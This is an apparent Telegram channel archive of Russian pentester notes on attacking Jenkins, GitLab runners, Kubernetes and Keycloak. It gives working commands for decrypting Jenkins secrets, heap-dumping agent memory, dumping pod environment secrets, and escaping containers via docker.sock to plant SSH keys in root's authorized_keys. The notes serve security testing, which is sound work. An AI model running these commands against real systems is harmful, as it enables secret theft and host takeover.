Нарыл
Open in Telegram
Канал о практической информационной безопасности. Автор - https://t.me/sorokinpf
Show more1 483
Subscribers
No data24 hours
+87 days
+2130 days
Posts Archive
1 483
Что-то последнее время вообще не было времени, сори за длинную паузу.
Продолжим говорить о CI/CD и в этот раз о Jenkins (хотя частично информация актуальна для любой системы).
Предположим, что мы можем создавать и запускать Job в Jenkins, но при этом исполнение на master node запрещено конфигурацией. А также предположим что часть проектов использует разделяемый ssh-agent.
Поднять свои права в Jenkins в таком случае не получится, однако в такой конфигурации мы можем запускать свои команды на агенте и соответственно влиять на процесс сборки других проектов. Все процессы сборки всех проектов на ssh-agent запускаются от имени одного и того же пользователя (по умолчанию - jenkins). И порождает их общий процесс агента, который запущен из под того же самого пользователя. Соответственно нет никаких ограничений с точки зрения ОС на доступ к сборкам других проектов. Теоретически понятно, что мы можем:
1) читать исходный код, т.к. он скачивается для сборки и какое-то время находится на агенте
2) получить доступ к используемым секретам, ведь они используются при сборке и контроллер Jenkins должен их как-то передавать на агент
3) подменять артефакты сборки, ведь они создаются на агенте и потом как-то отправляются на контроллер
Теперь практически.
Процесс jenkins агента в процессе сборки запускает команды ОС. cmdline создаваемых процессов можно получить, например, с помощью pspy. В параметрах командной строки могут быть пути к директориям в которые делаются git clone (а значит там исходники), а также могут быть секреты.
Также, если разработчики конфигурируют пайплайны не аккуратно, секреты могут оставаться сохраненными на самом агенте. Например, если в процессе сборки выполняется
docker login, то вероятно что в /home/jenkins/.docker/config останется пароль в открытом виде (а это дает нам возможность пушить в registry, то есть подменять артефакты). Также может остаться конфигурация в /home/jenkins/.kube/config. Короче, полезно заглянуть в домашний каталог и посмотреть что там лежит.
Часть секретов jenkins агент использует внутри своего процесса и никуда не передает и не сохраняет. Для того чтобы достать такие секреты можно анализировать память процесса jenkins агента. Напоминаю что jenkins написан на Java и копаться в его памяти совсем не так сложно, как может показаться.
Снять heapdump памяти можно такой командой:
jcmd <jenkins_agent_PID> GC.heap_dump /tmp/heapdumpfile.hprofСекреты храняться в наследниках класса hudson.util.Secret. Дальше анализировать такой дамп можно вручную с помощью jhat или Eclipse Memory Analyzer. Можно пытаться автоматизировать, я делал к этому подход на основе проекта - парсера hprof py-hprof. Но это конечно скорее PoC чем готовая тулза. Также секреты через некоторое время удаляются из памяти агента, так что для того чтобы насобирать секреты нужно продолжительное время постоянно снимать дампы и запускать их анализ.
1 483
И наверно пока что последняя заметка о раннерах Gitlab
Gitlab поддерживает сборку docker с помощью
docker и kubernetes executor (еще можно через shell, но там и так все понятно). В обоих случаях в запускаемых джобах становится доступным docker.sock. Для docker executor можно выйти на хост, развивать дальнейшую атаку, лезть в другие пайплайны и т.д. - тут все понятно. https://t.me/naryl_sec/6 - например вот тут обсуждалось.
С kubernetes executor все немного интереснее. Kubernetes создает отдельный docker daemon для каждой выполняемой job. То есть напрямую влиять на соседние job не получится, у каждой job свой персональный инстанс docker. Если попытаться выйти из job на хостовый docker обычным способом через подмонтирование файловой системы "хоста", то окажется что там девственно чистая система в которой нет ничего кроме docker. Но чтобы вся эта конструкция работала "хостовая" ОС запускается как привелигированный контейнер в kubernetes. То есть получается такая трехуровневая история - kubernetes (первый уровень) запускает контейнер с docker daemon (второй уровень), а также запускается контейнер в котором выполняется гитлабовская job (третий уровень), в которую прокинут docker API socket со второго уровня. Атакующий может запустить с помощью проброшенного docker API socket привелигированный контейнер (ну или выйти на "хостовый docker", который также является привелигированным контейнером). А из него уже можно подниматься до куберовской ноды. Например, путем монтирования файловой системы ноды в контейнер:
fdisk -l // Смотрим список устройств mkdir /mnt/node mount /dev/<нужное устройство> /mnt/node
1 483
Продолжение о раннерах Gitlab
Gitlab поддерживает разные типы executor. В зависимости от типа экзекьютора, выбранного для раннера, мы можем выполнять разные действия.
При использовании
shell executor все сборки выполняются напрямую в шелле операционной системы от одного пользователя ОС. Если такой раннер является Shared, то безопасной конфигурации тут не может быть в принципе, по крайней мере я её себе не представляю. Любой кто может использовать такой раннер может создать процесс, который будет следить за всем что происходит на раннере, забирать исходные коды репозиториев, загружаемых на раннер, воровать env-переменные из других процессов. А также можно подменять артефакты сборки, что означает вполне вероятный взлом прода. С практической точки зрения следить за другими процессами удобно с помощью pspy.
В своей практике я встречал shell executor только для Windows раннеров. Выбор экзекьюторов для винды в Gitlab не такой богатый как в linux, так что это можно объяснить. Windows раннер по умолчанию стартует с правами локального администратора, так что находка такого shared runner может быть отправной точкой для атаки на Active Directory.
Windows раннер также можно установать так, чтобы он использовал учетную запись, которая не является локальным админитратором. Но это слабо помогает - процесс раннера стартует как сервис и получает группу NT AUTHORITY\SERVICE, откуда он наследует SeImpersonatePrivilege. А значит на нем можно довольно легко подняться до NT AUTHORITY\SYSTEM используя *Potato (например, SweetPotato) или PrintSpoofer.1 483
О раннерах Gitlab
В большинстве установок Gitalb которые я видел используются Shared Runners. Shared Runners - это раннеры, которые можно применяться для сборки (ну или произвольного выполнения команд, смотря чьими глазами смотреть на это) в абсолютно любом проекте. Альтернатива шаред раннерам в Gitlab - Specific Runners. Последние могут быть закреплены за группой, проектом или даже только за protected branch в рамках git репозитория.
Для того чтобы посмотреть список доступных Shared Runners нужно создать/зайти в проект и перейти в Settings -> CI/CD -> Runners. Раннеры помечены синими плашками с тегами, с помощью этих тегов можно выбрать себе раннер по душе. Для этого нужно указать параметр
tags в описании джобы в .gitlab-ci.yml.
Важно понимать что Gitlab Runner - все разные. И дело не только в списке установленного софта. Конфигурация позволяет добавить environment переменные. А также могут выполняться pre_build_script, или монтироваться volume. И то и другое и третье может использоваться админами для того чтобы добавить раннеру специфичные права. Например, добавляем раннеру тег ansible и подкладываем ему в виде volume ssh-ключ ansible. А как правило это God-Mode ключ, который может все внутри инфраструктуры.
Так что в случае получения доступа в Gitlab очень полезно создать персональный проект и посмотреть environment и подмонтированные файлы всех доступных Shared Runner, можно найти много интересного.1 483
О секретах Jenkins
Jenkins - CI/CD решение. А значит ему нужно где-то хранить креды для доступа к серверам, docker registry, nexus и так далее. В Jenkins есть встроенное хранилище Credentials. Фактически секреты сохраняются на файловой системе в файле
.jenkins/credentials.xml (тут и далее .jekins - домашний каталог jenkins, может отличаться в зависимости от установки). Сами секреты зашифрованы. Но зашифрованы они ключами из двух файлов, которые тоже храняться на файловой системе: .jenkins/secrets/master.key и .jenkins/secrets/hudon.util.Secret. Таким образом доступ к этим файлам позволяет получить доступ ко всем сохраненным credentials всех пользователей.
Доступ к ФС может быть получен, например, если администраторы не уменьшили количество executor на master до значения 0, но для этого нужен доступ уровня разработчика в интерфейс Jenkins. Также на моей практике был и обратный случай, когда я попал на windows-сервер с правами пользователя и мог читать файлы Jenkins, один из паролей в сохраненных кредах подошел к интерфейсу Jenkins.
Для расшифрования секретов можно использовать скрипт.
Также, при доступе в интерфейс можно использовать groovy скрипт:
println( hudson.util.Secret.decrypt("{AQAAABAAAAAQ}") )
где в кавычках идет зашифрованная строка из credentials.xml. Скрипт этот можно выполнить в https://jenkins/script либо в build job'е с типом pipeline.
Статья с разбором устройства шифрования1 483
Keycloak - популярное IAM решение. Настолько популярное что когда я встречал его на пентестах, я его особо и не проверял - зачем, там ведь уже все баги найдены и исправлены.
Ну как минимум redirect_uri точно нельзя подделать. ... Правда?
Оказалось что не совсем. В конфиге keycloak'овского client redirect_uri необходимо указать. И там можно использовать символ вайлдкарда.
То есть ленивые админы если им надо прописать, например, для сервисов https://best.service.company.com, https://best.service.prod.company.com, https://best.service.stg.company.com redirect_uri, могут просто использовать https://best.service.* Со всеми вытекающими - угоном access code и аутентификацией в зависящих от keycloak приложениях. Ну а дальше уже зависит от того что может best.service и насколько он критичен с точки зрения безопасности.
1 483
Рубрика заметка нубаса:
Не так давно я начал разбираться в безопасности кубера. Поэтому актуальное.
Если мы можем делать get pods в кубере (кстати, текущие права можно посмотреть с помощью
kubectl auth can-i --list ), то это не так безобидно как кажется на первый взгляд.
Можно запросить полное описание pod, например так:
kubectl get pods <pod_name> -n <namespace> -o yamlА там будет в том числе environment который использовался при запуске всех контейнеров pod'а. А в environment могут быть вкусные секреты. Можно не мелочиться и забрать весь environment всех контейнеров всех pod'ов сразу с помощью jsonpath:
kubectl get pods -n <namespace> -o 'jsonpath={range .items[*]}{.metadata.name}{"\t"}{.spec.containers[*].env}{"\n"}{end}}'1 483
Кстати, в той же ситуации с выходом из docker gitlab runner есть еще одна проблема - мы понятия не имеем где этот раннер расположен. Ну записали мы ssh ключ, а куда с этим ключом коннектится то? Чтение /etc/hostname не всегда помогает. Обнаружил что IP адрес хоста может быть записан в файле в
/etc/netplan. Верно как минимум для Ubuntu 18.04.1 483
Если вы оказались в docker контейнере, в который проброшен Docker API socket, то это может позволить выбраться из контейнера на хостовую машину. Для этого, например, можно запустить привилегированный контейнер, подмонтировать в него хостовую ФС и дальше, например, вписать свой ключ в /root/.ssh/authorized_keys:
docker run --privileged -v /:/mnt ubuntu echo key >> /mnt/root/.ssh/authorized_keyЭто все понятно, но вот сегодня я в очередной раз оказался в контейнере с прокинутым
docker.sock, но без docker CLI. Ситуация вполне возможна если вы пробрались в условный Gitlab используете docker shared runner и не знаете в каком из доступных образов есть docker cli, при этом прямого доступа в интернет нет.
Значит придется взаимодействовать с докеровским unix socket на прямую. Docker API Socket принимает запросы по протоколу HTTP (docs). А значит можно использовать curl ... --unix-socket /var/run/docker.sock.
Составил для себя список альтернативных docker команд:
docker image:
curl --unix-socket /var/run/docker.sock http://localhost/images/json | jq '.[].RepoTags'docker ps:
curl --unix-socket /var/run/docker.sock http://localhost/containers/json | jq '.[] | "\(.Id) \(.Image)"'docker pull:
curl --unix-socket /var/run/docker.sock -X POST 'http://localhost/images/create?fromImage=busybox&tag=latest'Создать привилегированный контейнер, в котором будет выполнена команда - (docker create):
curl --unix-socket /var/run/docker.sock -X POST 'http://localhost/containers/create' --data '{"Cmd":["/bin/bash","-c","echo key > /mnt/root/.ssh/authorized_keys"],"Image":"ubuntu","HostConfig":{"Binds":["/:/mnt/"],"RestartPolicy":{"Privileged":true}},"Tty":true}' -H "Content-Type: application/json"
docker start:
curl --unix-socket /var/run/docker.sock -X POST http://localhost/containers/<id>/startdocker logs:
curl --unix-socket /var/run/docker.sock 'http://localhost/containers/<id>/logs?stderr=1&stdout=1&tail=all' --output -docker rm:
curl --unix-socket /var/run/docker.sock -X DELETE http://localhost/containers/<id>Тут важно что нельзя одним запросом создать и запустить контейнер, как делает
docker run. Под капотом он выполняет два HTTP запроса. Первый запрос возвращает айдишник, который нужно использовать в последующем.
Также, если curl тоже нету, то можно обращаться с unix socket через python, примерно так:
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
sock.connect('/var/run/docker.sock')
sock.send('''GET /containers/json HTTP/1.1
Host: /var/run/docker.sock
''')
sock.recv(1024)1 483
Таки дозрел до того чтобы создать канал.
Буду сюда писать заметки и фишки, которые помогли мне в решении практических задач, как правило пентестерских. Часть будет прямо горяченькая, из консоли и бурпа, что-то из моих старых и проверенных заметочек.
